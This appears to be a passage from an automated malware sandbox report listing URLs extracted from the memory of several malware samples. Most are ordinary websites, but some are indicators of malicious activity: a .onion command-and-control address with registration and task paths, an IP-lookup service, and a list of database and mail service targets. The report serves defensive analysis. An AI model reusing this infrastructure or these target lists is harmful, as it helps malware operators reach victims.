Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/about-us/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/basket/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/comments/feed/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/commericals/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/contact/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/distributors/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/feed/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/my-account/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/press-inquiries/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/privacy-policy/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product-category/handbag/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product-category/laptopbag/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product-category/uncategorised/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product-category/weekendbag/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product/the-exclu-bag-2/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product/the-exclu-bag-3/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product/the-gance-laptop-case-2/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product/the-gance-laptop-case/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product/the-uni-clutch/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/product/uni-clutch-2/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/shop/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/social-2/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-admin/admin-ajax.php
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/easy-social-icons/css/cnss.css?ver=1.0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/easy-social-icons/css/font-awesome/css/all.min.css?ver=5.
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/easy-social-icons/css/font-awesome/css/v4-shims.min.css?v
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/easy-social-icons/js/cnss.js?ver=1.0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/instagram-feed/css/sb-instagram-2-1.min.css?ver=2.1.2
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=3.7
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=3.7
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.j
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?v
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/assets/css/base/gutenberg-blocks.css?ver=2.5.3
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/assets/css/base/icons.css?ver=2.5.3
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/assets/css/jetpack/widgets.css?ver=2.5.3
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/assets/css/woocommerce/woocommerce.css?ver=2.5.
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/assets/js/footer.min.js?ver=2.5.3
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/assets/js/navigation.min.js?ver=2.5.3
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/assets/js/skip-link-focus-fix.min.js?ver=201301
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/assets/js/vendor/pep.min.js?ver=0.4.3
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/assets/js/woocommerce/header-cart.min.js?ver=2.
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/themes/storefront/style.css?ver=2.5.3
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/laptop-bag-100x100.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/laptop-bag-150x150.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/laptop-bag-300x300.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/laptop-bag-324x324.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/laptop-bag-416x416.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/laptop-bag-768x768.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/laptop-bag.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/weekend-bag-100x100.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/weekend-bag-150x150.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/weekend-bag-300x300.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/weekend-bag-324x324.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/weekend-bag-416x416.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/weekend-bag-768x768.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/10/weekend-bag.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-100x100.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-150x150.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-300x300.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-324x324.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-416x416.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-768x768.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-brown-100x100.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-brown-150x150.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-brown-300x300.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-brown-324x324.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-brown-416x416.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-brown-768x768.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag-brown.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/handbag.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/laptop-bag-red-100x100.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/laptop-bag-red-150x150.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/laptop-bag-red-300x300.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/laptop-bag-red-324x324.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/laptop-bag-red-416x416.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/laptop-bag-red-768x768.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/laptop-bag-red.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/logo-small.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/weekend-bag-green-100x100.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/weekend-bag-green-150x150.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/weekend-bag-green-300x300.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/weekend-bag-green-324x324.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/weekend-bag-green-416x416.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/weekend-bag-green-768x768.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-content/uploads/2019/11/weekend-bag-green.jpg
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/css/dist/block-library/style.min.css?ver=5.2.18
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/css/dist/block-library/theme.min.css?ver=5.2.18
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/js/jquery/ui/core.min.js?ver=1.11.4
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.11.4
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/js/jquery/ui/sortable.min.js?ver=1.11.4
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/js/wp-embed.min.js?ver=5.2.18
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-includes/wlwmanifest.xml
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/wp-json/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/xmlrpc.php
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mgbymags.com/xmlrpc.php?rsd
Source: 5316.exe, 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: 5316.exe, 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.htmlTYPE=2OpenSSL
Source: 7017.exe, 0000000C.00000003.2062987889.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/dev/peps/pep-0205/
Source: 7017.exe, 00000011.00000002.4120478999.000001BADDE60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/download/releases/2.3/mro/.
Source: B6AA.exe, 0000001B.00000003.2245608746.0000000002300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: B6AA.exe, 0000001B.00000003.2245608746.0000000002300000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/psU
Source: 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.startssl.com/0P
Source: 7017.exe, 0000000C.00000003.2061416337.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp, 7017.exe, 0000000C.00000003.2062118934.0000018F826EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.startssl.com/policy0
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/artusopastry
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/
Source: 5316.exe, 00000007.00000002.2896435412.0000000003AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/=
Source: 5316.exe, 00000007.00000002.2873592935.0000000000824000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/re
Source: 5316.exe, 00000007.00000002.2898744319.0000000003B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yjprwlto.com/
Source: 5316.exe, 00000007.00000002.2896033053.0000000003A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://yokohamaichigoichie.com/
Source: 5316.exe, 00000007.00000002.2893685989.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zhelen.com/administrator/
Source: 5316.exe, 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https:///phpMyAdmin//PhpMyAdmin//pma/rootmysqlimapssmtpspop3sscp://your_IP_is_greylisted_README.txt2
Source: 7B24.exe, 0000000D.00000002.2396335073.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 5316.exe, 00000007.00000002.2899218339.0000000003BDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.shopify.com/oauth/authorize?client_id=7ee65a63608843c577db8b23c4d7316ea0a01bd2f7594
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://activegraphics.com/comments/feed/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://activegraphics.com/feed/
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://activegraphics.com/wp-includes/css/dist/block-library/style.min.css?ver=6.4.2
Source: explorer.exe, 00000001.00000000.1699998301.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1696442316.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1696442316.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1699998301.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: 7B24.exe, 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp, 7B24.exe, 0000000D.00000002.2378126043.0000000000EB2000.00000020.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: explorer.exe, 00000001.00000000.1698135497.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1698135497.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1695624263.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1694958391.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1698135497.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1698135497.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E1D000.00000004.00000020.00020000.00000000.sdmp, 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: explorer.exe, 00000001.00000000.1698135497.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://artusopastry.com
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://artusopastry.com/1584544/amazon_payments/callback
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://artusopastry.com/404
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://artusopastry.com/cdn
Source: 5316.exe, 00000007.00000003.2619877369.0000000070E3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://artusopastry.com/cdn/shop/files/ArtusoLogo_Full-Red_eeedf7d6-cab8-4803-a22e-af505bdac043_120
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blockchain.infoindex
Source: 7B24.exe, 0000000D.00000002.2396335073.00000000051B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1696442316.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
